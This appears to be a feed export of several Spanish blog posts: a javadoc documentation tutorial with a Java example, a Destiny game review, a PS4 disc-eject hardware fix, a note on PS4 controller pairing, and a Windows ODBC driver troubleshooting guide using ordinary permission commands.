<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span id="2_javadoc" style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; font-weight: bold; line-height: 20.2859992980957px;">2. Documentación: javadoc</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Se aconseja, como buena práctica de programación, incluir en la entrega de la aplicación la documentación de los ficheros fuente de todas las clases. Dicha documentación será generada por la herramienta "javadoc".</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">La herramienta "javadoc" construirá la documentación a partir de los comentarios (incluidos en las clases) encerrados entre los caracteres "/**" y "*/". Distinguimos tres tipos de comentarios javadoc, en función del elemento al que preceden: de clase, de variable y de método.</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Dentro de los comentarios "javadoc" podremos incluir código html y etiquetas especiales de documentación. Estas etiquetas de documentación comienzan con el símbolo "@", se sitúan al inicio de línea del comentario y nos permiten incluir información específica de nuestra aplicación de una forma estándar.</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">Como norma general utilizaremos las siguientes etiquetas:</span></span><br />
<ul style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 1.4; list-style-image: initial; list-style-position: initial; margin: 0.5em 0px; padding: 0px 2.5em;"><span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">@author Nombre<br /><br />Añade información sobre el autor o autores del código.</span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">@version InformacionVersion<br /><br />Permite incluir información sobre la versión y fecha del código.</span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">@param NombreParametro Descripción<br /><br />Inserta el parámetro especificado y su descripción en la sección "Parameters:" de la documentación del método en el que se incluya. Estas etiquetas deben aparecer en el mismo orden en el que aparezcan los parámetros especificados del método. Este tag no puede utilizarse en comentarios de clase, interfaz o campo. Las descripciones deben ser breves.</span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">@return Descripción<br /><br />Inserta la descripción indicada en la sección "Returns:" de la documentación del método. Este tag debe aparecer en los comentarios de documentación de todos los métodos, salvo en los constructores y en aquellos que no devuelvan ningún valor (void).</span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">@throws NombreClase Descripción<br /><br />Añade el bloque de comentario "Throws:" incluyendo el nombre y la descripción de la excepción especificada. Todo comentario de documentación de un método debe contener un tag "@throws" por cada una de las excepciones que pueda elevar. La descripción de la excepción puede ser tan corta o larga como sea necesario y debe explicar el motivo o motivos que la originan.</span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">@see Referencia<br /><br />Permite incluir en la documentación la sección de comentario "See also:", conteniendo la referencia indicada. Puede aparecer en cualquier tipo de comentario "javadoc". Nos permite hacer referencias a la documentación de otras clases o métodos.</span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">@deprecated Explicación<br /><br />Esta etiqueta indica que la clase, interfaz, método o campo está obsoleto y que no debe utilizarse, y que dicho elemento posiblemente desaparecerá en futuras versiones. "javadoc" añade el comentario "Deprecated" en la documentación e incluye el texto explicativo indicado tras la etiqueta. Dicho texto debería incluir una sugerencia o referencia sobre la clase o método sustituto del elemento "deprecado".</span></li>
<span style="background-color: white;"><br /></span>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="background-color: white;">@since Version<br /><br />Se utiliza para especificar cuando se ha añadido a la API la clase, interfaz, método o campo. Debería incluirse el número de versión u otro tipo de información.</span></li>
<span style="background-color: white;"><br /></span></ul>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">El siguiente ejemplo muestra los tres tipos de comentarios "javadoc",</span></span><br />
<pre style="color: #333333; font-size: 14px; line-height: 20.2859992980957px;"><span style="background-color: white;">
/**
* UnidadOrganizativa.java:
*
* Clase que muestra ejemplos de comentarios de documentación de código.
*
* @author jlflorido
* @version 1.0, 05/08/2008
* @see documento "Normas de programación v1.0"
* @since jdk 5.0
*/
public class UnidadOrganizativa extends PoolDAO {
/** Trazas de la aplicación */
private Logger log = Logger.getLogger(UnidadOrganizativa.class);
/** Identificador de la unidad organizativa */
private int id;
/** Nombre de la unidad organizativa */
private String nombre;
/** Obtiene el identificador de esta unidad organizativa */
public int getId() {
return id;
}
/** Establece el identificador de esta unidad organizativa */
public void setId(int id) {
this.id = id;
}
/** Obtiene el nombre de esta unidad organizativa */
public String getNombre() {
return nombre;
}
/** Establece el nombre de esta unidad organizativa */
public void setNombre(String nombre) {
this.nombre = nombre;
}
/**
* Inserta la unidad organizativa en el sistema.
*
* @param unidad Unidad organizativa a insertar
* @throws Exception Excepción elevada durante el proceso de inserción
*/
public void insertarUnidad(UnidadOrganizativa unidad) throws Exception{
log.debug("-> insertarUnidad(UnidadOrganizativa unidad)");
Connection conn = null;
PreparedStatement pstmt = null;
StringBuffer sqlSb = null;
try {
conn = this.dameConexion();
sqlSb = new StringBuffer("")
.append("INSERT INTO ORG.UNIDAD_ORGANIZATIVA ")
.append("(ID, NOMBRE) VALUES (?, ?)");
pstmt = conn.prepareStatement(sqlSb.toString());
pstmt.setInt(1, unidad.getId());
pstmt.setString(2, unidad.getNombre());
pstmt.executeUpdate();
} catch (Exception e) {
log.error("Error: error al insertar la unidad. " +
"Descripción:" + e.getMessage(), e);
throw e;
} finally {
log.debug("<- insertarUnidad(UnidadOrganizativa unidad)");
}
}
}</span></pre>
<span style="background-color: white;"><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">La documentación generada por "javadoc" será la siguiente:</span><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><br style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" /><span style="color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">a) Página índice de toda la documentación generada:</span></span><br />
<br style="background-color: #c0a154; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwecKBkpGOdX8TGmnX2K21Z9AwfCum73I6yaeMl_QKHzfDglKjgjW5XKkkugCzHGc9OJrxVN_K9uO9RwKNRTjBAefp9hjCWOgwj8xNFaCsshH2-ZO43AhseIHfaT1WAYOhvr9Z-PXZiUU/s1600/01.jpg" style="background-color: #c0a154; color: #993322; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px; text-decoration: none;"><img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwecKBkpGOdX8TGmnX2K21Z9AwfCum73I6yaeMl_QKHzfDglKjgjW5XKkkugCzHGc9OJrxVN_K9uO9RwKNRTjBAefp9hjCWOgwj8xNFaCsshH2-ZO43AhseIHfaT1WAYOhvr9Z-PXZiUU/s320/01.jpg" id="BLOGGER_PHOTO_ID_5490676291033637874" style="-webkit-box-shadow: rgba(0, 0, 0, 0.498039) 1px 1px 5px; background: rgb(255, 255, 255); border: none; box-shadow: rgba(0, 0, 0, 0.498039) 1px 1px 5px; cursor: pointer; display: block; height: 185px; margin: 0px auto 10px; padding: 8px; position: relative; text-align: center; width: 320px;" /></a><br />
<br style="background-color: #c0a154; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" />
<span style="background-color: white; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;">b) Documentación de la clase "UnidadOrganizativa.java":</span><br />
<br style="background-color: #c0a154; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpaf4y982kDTRiVOrS_tW66CGwOGtZFAm7pfMzGxWOjW8z2W31pEDgdZU_YqQfab_gxFX4Fc2URJZTjMZn4hbUnB8op7koNYiOg3H1JmbhzpKbrzuwQBqvBlWsMKxm816kgyzQObEze-w/s1600/01.jpg" style="background-color: #c0a154; color: #993322; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px; text-decoration: none;"><img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhpaf4y982kDTRiVOrS_tW66CGwOGtZFAm7pfMzGxWOjW8z2W31pEDgdZU_YqQfab_gxFX4Fc2URJZTjMZn4hbUnB8op7koNYiOg3H1JmbhzpKbrzuwQBqvBlWsMKxm816kgyzQObEze-w/s320/01.jpg" id="BLOGGER_PHOTO_ID_5490685522072886242" style="-webkit-box-shadow: rgba(0, 0, 0, 0.498039) 1px 1px 5px; background: rgb(255, 255, 255); border: none; box-shadow: rgba(0, 0, 0, 0.498039) 1px 1px 5px; cursor: pointer; display: block; height: 178px; margin: 0px auto 10px; padding: 8px; position: relative; text-align: center; width: 320px;" /></a><br />
<br style="background-color: #c0a154; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJqRKaEl-KcO3e8G1DS1wJHIDBBgIsZ3847Bh7YjX-y8N5U58inPjT1WwE_idl0xWTEZYRbffb6sTCdD78TjaM9FaMOUEfenCPQZzypvbhnjPLirh7wP9HJS1ie_FWneCbZgcugem3ZJ8/s1600/02.jpg" style="background-color: #c0a154; color: #993322; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px; text-decoration: none;"><img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJqRKaEl-KcO3e8G1DS1wJHIDBBgIsZ3847Bh7YjX-y8N5U58inPjT1WwE_idl0xWTEZYRbffb6sTCdD78TjaM9FaMOUEfenCPQZzypvbhnjPLirh7wP9HJS1ie_FWneCbZgcugem3ZJ8/s320/02.jpg" id="BLOGGER_PHOTO_ID_5490685652340223810" style="-webkit-box-shadow: rgba(0, 0, 0, 0.498039) 1px 1px 5px; background: rgb(255, 255, 255); border: none; box-shadow: rgba(0, 0, 0, 0.498039) 1px 1px 5px; cursor: pointer; display: block; height: 227px; margin: 0px auto 10px; padding: 8px; position: relative; text-align: center; width: 320px;" /></a><br />
<br style="background-color: #c0a154; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFDABSlZe0EyFuLM_eMtdZ5lNbfr18vIR91sAzwCQeh6cwC0S9n2Tq6NneoSUYextw5T9tJLK4ByPG7EQSSlD0PQcPfpXzO25J9rU0pZKSkIi7z5gldmTA2PhgwicQu3rbA6092mwWhwI/s1600/03.jpg" style="background-color: #c0a154; color: #993322; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px; text-decoration: none;"><img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFDABSlZe0EyFuLM_eMtdZ5lNbfr18vIR91sAzwCQeh6cwC0S9n2Tq6NneoSUYextw5T9tJLK4ByPG7EQSSlD0PQcPfpXzO25J9rU0pZKSkIi7z5gldmTA2PhgwicQu3rbA6092mwWhwI/s320/03.jpg" id="BLOGGER_PHOTO_ID_5490685754309548754" style="-webkit-box-shadow: rgba(0, 0, 0, 0.498039) 1px 1px 5px; background: rgb(255, 255, 255); border: none; box-shadow: rgba(0, 0, 0, 0.498039) 1px 1px 5px; cursor: pointer; display: block; height: 189px; margin: 0px auto 10px; padding: 8px; position: relative; text-align: center; width: 320px;" /></a><br />
<br style="background-color: #c0a154; color: #333333; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px;" />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwX4qWxPUPnQmUQQ1zkUBl2gdgYH81CALeCMnmfnIqq7m1nFJg2DdWOdIspV00jKkWes5nGFHIZUpZuUU4jYD2cb8MvE0ks35-SPmKyiWvOvXMwk4CoCLornseyanm-OlrhSfE6mHPSeU/s1600/05.png" style="background-color: #c0a154; color: #993322; font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 14px; line-height: 20.2859992980957px; text-decoration: none;"><img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwX4qWxPUPnQmUQQ1zkUBl2gdgYH81CALeCMnmfnIqq7m1nFJg2DdWOdIspV00jKkWes5nGFHIZUpZuUU4jYD2cb8MvE0ks35-SPmKyiWvOvXMwk4CoCLornseyanm-OlrhSfE6mHPSeU/s320/05.png" id="BLOGGER_PHOTO_ID_5490685846420534930" style="-webkit-box-shadow: rgba(0, 0, 0, 0.498039) 1px 1px 5px; background: rgb(255, 255, 255); border: none; box-shadow: rgba(0, 0, 0, 0.498039) 1px 1px 5px; cursor: pointer; display: block; height: 301px; margin: 0px auto 10px; padding: 8px; position: relative; text-align: center; width: 320px;" /></a><br />
Fuente: http://javafoundations.blogspot.com.es/2010/07/java-estandares-de-programacion.html#1_8_nomenclaturawaitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com0tag:blogger.com,1999:blog-360011364486521176.post-39811191369099657132014-09-10T21:00:00.001+02:002014-09-10T21:03:45.344+02:00Análisis Destinty PS4 Xbox ONE - Jabato Games<div style="text-align: justify;">
Pues después de tanto "hype" sobre el juego y viendo la oferta que había en carrefour que si lo comprabas el día 9 de Septiembre te daban un cheque regalo por valor de 12 €, me decidí a comprarlo. Decir que el juego me ha salido por 48 €.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Después de 2 días probando el juego he llegado a la conclusión que ni es tan bueno como nos han querido vender ni tan malo como comentan algunos usuarios en la red. Eso sí, se tenemos en cuenta que han tardado en desarrollarlo más de 5 años y que han invertido <b>500 millones de dólares</b>, creo que hay juegos con menos presupuesto que tienen un potencial parecido.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://u.cubeupload.com/Lukas_Japonicus/f60DestinyFirstLookAlph.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://u.cubeupload.com/Lukas_Japonicus/f60DestinyFirstLookAlph.jpg" height="225" width="400" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Entrando en la temática del juego se podría describir como un <b>"Borderlands Social"</b>. Que ¿qué es eso? Pues una mezcla de juegos como<b><span style="color: blue;"> Halo + Borderlands + MMO</span></b> que no me llega del todo a convencer.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
En el juego escoges una clase y una raza (entre 3 posibles), que nada influye en la historia del juego. Luego personalizas a tu personaje con muy poca variedad y entras en el juego. Durante tu periplo deberás ir recorriendo los planetas del Sistema Solar haciendo misiones, pero no os engañéis, el mapa de todas las misiones de cada mundo es el mismo. Increíble ¿no? sólo que en cada misión deberemos de realizar una serie de tareas que en todo momento nos las indicará nuestro espectro, ese robot que nos sigue y nos habla por todas partes, haciendo que el camino del juego sea más que lineal, careciendo de exploración.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
La historia principal dura en torno a unas 11 horas, no siendo muy rejugable. Eso sí, tiene un online competitivo muy parecido al Halo.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Creo que la idea del juego es que sea infinito, es decir, a parte de las 11 horas que dura la campaña, se irán sucediendo una serie de eventos y quest para realizar en grupo con lo que alargarla la vida del juego.</div>
<blockquote class="tr_bq" style="text-align: justify;">
Para mí la nota que merece este título es de<span style="font-size: x-large;"> <span style="color: #990000;"><u><b>8.5</b></u></span></span></blockquote>
<div style="text-align: justify;">
En resumen, es un muy buen juego, divertido y con un gran atractivo visual, que apuesta por un nuevo modo de juego online en consolas. Pero que no llega a la altura del hype que ha generado.</div>
<br />
Detallando ahora sus pros y contras.<br />
<br />
<b><span style="color: #6aa84f;"><u>PROS</u></span></b><br />
<br />
<br />
<ul>
<li>Muy buen diseño visual.</li>
<li>Gran banda sonora.</li>
<li>Excelente control y jugabilidad.</li>
<li>Posibilidad de tener una duración ilimitada.</li>
<li>Los eventos.</li>
<li>La interacción social.</li>
<li>Luz y sombras dinámicas.</li>
</ul>
<br />
<br />
<b><u><span style="color: #cc0000;">CONTRAS</span></u></b><br />
<br />
<br />
<ul>
<li>Poca personalización de los personajes, armas, etc...</li>
<li>Nula exploración.</li>
<li>No se puede interactuar con ningún elemento del entorno.</li>
<li>Horrible matchmaking.</li>
<li>Altos tiempos de carga.</li>
<li>Pobre interfaz del menú.</li>
<li>Las voces en español carecen de expresividad.</li>
<li>Cambio de primera a tercera persona en algunos momentos no me convence.</li>
<li>Campaña algo corta.</li>
<li>Mapas y misiones repetitivos.</li>
</ul>
<br />
Comentar que os ha parecido.<br />
<br />
Saludos, by WaitSignal.waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com0tag:blogger.com,1999:blog-360011364486521176.post-60775362150907460562014-07-20T13:38:00.001+02:002014-07-20T13:38:29.575+02:00SOLUCIONADO. Fallo PS4 Expulsa continuamente el Disco DVD BlueRay. Error Ps4. Botón Expulsión. Taco de Goma.<pre style="background-color: white; color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 21px; margin-left: 10px; margin-right: 10px; overflow: hidden; padding: 0px; text-align: justify; white-space: pre-line; word-wrap: break-word;">Hay un problema de fábrica en ps4 (entre otros) que consiste en que expulsa el disco constantemente y no deja meterlo de nuevo a menos que se apague y se encienda de nuevo.</pre>
<pre style="background-color: white; color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 21px; margin-left: 10px; margin-right: 10px; overflow: hidden; padding: 0px; text-align: justify; white-space: pre-line; word-wrap: break-word;">
</pre>
<pre style="background-color: white; color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 21px; margin-left: 10px; margin-right: 10px; overflow: hidden; padding: 0px; text-align: justify; white-space: pre-line; word-wrap: break-word;">Encontré la solución al momento, lo explico por aqui por si alguien tiene el problema y no sabe que hacer. El problema es un fallo que tienen todas las unidades, solo a a algunas les puede pasar antes y a otras después, por eso no la llevé a descambiar y lo solucioné yo mismo. </pre>
<pre style="background-color: white; color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 21px; margin-left: 10px; margin-right: 10px; overflow: hidden; padding: 0px; text-align: justify; white-space: pre-line; word-wrap: break-word;">
</pre>
<pre style="background-color: white; color: #111111; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 21px; margin-left: 10px; margin-right: 10px; overflow: hidden; padding: 0px; text-align: justify; white-space: pre-line; word-wrap: break-word;">Como podéis ver el botón no me mueve apenas cuando lo pulsas, mucha gente piensa que es táctil, pero es de presión ultrasensible (un fallo por parte de sony). El problema residen en el taco de goma que hay debajo del botón ya que hace contacto con la esquina y se queda constantemente pulsado. SOLUCIÓN: el taco se puede quitar y poner sin problema, puedes hacer dos cosas quitarlo y poner una pieza de goma de lo que quieras para que haga de soporte; o como yo hice separar el taco lo suficiente dejando un espacio de aire entre la goma y la play, asi nos aseguramos de que no pulse el botón y no le quitas piezas que siempre queda feo.</pre>
waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com0tag:blogger.com,1999:blog-360011364486521176.post-21381138429620130922014-07-02T23:50:00.001+02:002014-07-02T23:51:54.130+02:00Conectar el mando de ps4 en ps3 inalámbricamente por bluetoothBuenas,<br />
<br />
pues desde la última actualización del firmware de la ps3, ya se puede jugar inalámbricamente con el mando de ps4 en ps3.<br />
<br />
En el siguiente vídeo viene como hacerlo.<br />
<br />
<a href="http://www.youtube.com/watch?v=tP156CPBlpg&feature=youtu.be" target="_blank">Vídeo Conectar Mando PS4 en PS3 por Bluetooth</a><br />
<br />
Saludos.waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com0tag:blogger.com,1999:blog-360011364486521176.post-30982361642627467382014-06-09T11:07:00.002+02:002014-06-09T11:07:19.591+02:00Apuntes y Ejercicios Java - Clases, Objetos, Interfaces, Ficheros, etc...Muy buena web con mucho material sobre Java,<br />
<br />
<a href="http://elvex.ugr.es/decsai/java/#oo">http://elvex.ugr.es/decsai/java/#oo</a><br />
<br />
Saludos.waitsignalhttp://www.blogger.com/profile/08392987448122392757noreply@blogger.com0tag:blogger.com,1999:blog-360011364486521176.post-12219195772024523702014-06-07T23:08:00.002+02:002014-06-07T23:39:15.667+02:00Solucionado. No se puede encontrar las rutinas de instalación para el controlador ODBC Driver de Microsoft …. Por favor vuelva a instalar el controlador.<div style="background-color: white; border: 0px; color: #444444; font-family: Ubuntu, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 24px; margin-bottom: 20px; padding: 0px; vertical-align: baseline;">
Este problema me surgió al intentar crear un controlador ODBC para una base access en Windows Seven, en su versión de 64 bits.</div>
<div style="background-color: white; border: 0px; color: #444444; font-family: Ubuntu, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 24px; margin-bottom: 20px; padding: 0px; vertical-align: baseline;">
Al intentar crear el controlador, se produce un error “No se puede encontrar las rutinas de instalación para el controlador ODBC Microsoft Access Driver”.</div>
<div class="wp-caption aligncenter" id="attachment_1163" style="background-color: white; border: 0px; color: #444444; font-family: Ubuntu, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 24px; margin: 0px auto; max-width: 100%; padding: 4px; vertical-align: baseline; width: 310px;">
<a href="http://www.maxilovera.com.ar/blog/programacion/crear-controladores-odbc-en-windows-7-x64/attachment/error-odbc-64-bits-con-access4/" rel="attachment wp-att-1163" style="border: 0px; color: #444444; margin: 0px; outline: none; padding: 0px; vertical-align: baseline;"><img alt="" class="size-medium wp-image-1163" src="http://www.maxilovera.com.ar/blog/wp-content/uploads/2012/06/error-odbc-64-bits-con-access4-300x238.png" height="238" style="border: 0px; box-shadow: rgba(0, 0, 0, 0.0980392) 0px 1px 4px; height: auto; margin: 0px 0px 10px; max-width: 100%; padding: 0px; vertical-align: baseline;" title="error-odbc-64-bits-con-access4" width="300" /></a><br />
<div class="wp-caption-text" style="border: 0px; color: #666666; font-size: 12px; font-style: italic; line-height: 2; margin-bottom: 20px; padding: 0px; vertical-align: baseline;">
Error encontrado al crear un ODBC para Access</div>
</div>
<div style="background-color: white; border: 0px; color: #444444; font-family: Ubuntu, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 24px; margin-bottom: 20px; padding: 0px; vertical-align: baseline;">
<div style="text-align: justify;">
Lo que sucede es en definitiva que no encuentra el archivo odbcad32.exe, ya que se busca en <em style="border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">c:\windows\system32</em>. La solución es, simplemente, copiarlo al directorio <em style="border: 0px; margin: 0px; padding: 0px; vertical-align: baseline;">c:\windows\SYSWOW64</em> y luego modificar el acceso directo para referenciar a dicha carpeta. Buscamos en Panel de control->Herramientas Administrativas->Orígenes de datos ODBC o en el Buscador de Inicio de windows el panel "Orígenes de datos ODBC" y no entramos, sino que hacemos click botón derecho en él.</div>
<div style="text-align: justify;">
Si no se tienen permisos de copia en el directorio haremos lo siguiente:</div>
<div style="text-align: justify;">
<br /></div>
<div style="border: none; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; line-height: 20.162017822265625px; list-style-type: none; margin-bottom: 1em; outline: 0px; padding: 0px;">
Para darte permisos, en una consola (Simbolo del Sistema) arrancada en modo elevado (ejecutar como Administrador), ejecuta:</div>
<div style="border: none; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; line-height: 20.162017822265625px; list-style-type: none; margin-bottom: 1em; outline: 0px; padding: 0px;">
<code style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">takeown /f ruta_directory_name /r /d y<br />icacls ruta_directory_name /grant Administrators:F /t</code></div>
<div style="border: none; color: #333333; font-family: 'Segoe UI', 'Lucida Grande', Verdana, Arial, Helvetica, sans-serif; line-height: 20.162017822265625px; list-style-type: none; margin-bottom: 1em; outline: 0px; padding: 0px;">
<code style="border: 0px; font-family: inherit; font-style: inherit; margin: 0px; outline: 0px; padding: 0px;"><b>NOTA: </b></code><code style="border: 0px; font-family: inherit; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px;">si tienes Windows en Español, en vez de </code>administrators, debe ser Administradores. Y en la primera linea, en vez de la "y" final, debe ser una "s".</div>
</div>
<div class="wp-caption aligncenter" id="attachment_1164" style="background-color: white; border: 0px; color: #444444; font-family: Ubuntu, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 24px; margin: 0px auto; max-width: 100%; padding: 4px; vertical-align: baseline; width: 234px;">
<a href="http://www.maxilovera.com.ar/blog/programacion/crear-controladores-odbc-en-windows-7-x64/attachment/cambiar-ruta-odbc1/" rel="attachment wp-att-1164" style="border: 0px; color: #444444; margin: 0px; outline: none; padding: 0px; vertical-align: baseline;"><img alt="" class="size-medium wp-image-1164" src="http://www.maxilovera.com.ar/blog/wp-content/uploads/2012/06/cambiar-ruta-odbc1-224x300.png" height="300" style="border: 0px; box-shadow: rgba(0, 0, 0, 0.0980392) 0px 1px 4px; height: auto; margin: 0px 0px 10px; max-width: 100%; padding: 0px; vertical-align: baseline;" title="cambiar-ruta-odbc1" width="224" /></a><br />
<div class="wp-caption-text" style="border: 0px; color: #666666; font-size: 12px; font-style: italic; line-height: 2; margin-bottom: 20px; padding: 0px; vertical-align: baseline;">
Modificación de la carpeta de destino</div>
</div>
<div style="background-color: white; border: 0px; margin-bottom: 20px; padding: 0px; vertical-align: baseline;">
<div style="color: #444444; font-family: Ubuntu, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 24px;">
Luego de realizar estos pasos se puede comenzar a crear controladores ODBC para Access sin problemas.</div>
<div style="color: #444444; font-family: Ubuntu, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 24px;">
<br /></div>
<div style="color: #444444; font-family: Ubuntu, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 24px;">
Si no funciona, reinstala los controladores ODBC de Access. Para 32 o 64 bits. (O los 2).</div>
<div style="color: #444444; font-family: Ubuntu, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 24px;">
<br /></div>
<span style="color: #444444; font-family: Ubuntu, Helvetica, Arial, sans-serif;"><span style="font-size: 14px; line-height: 24px;"><a href="http://www.microsoft.com/en-us/download/details.aspx?id=13255">http://www.microsoft.com/en-us/download/details.aspx?id=13255</a></span></span></div>
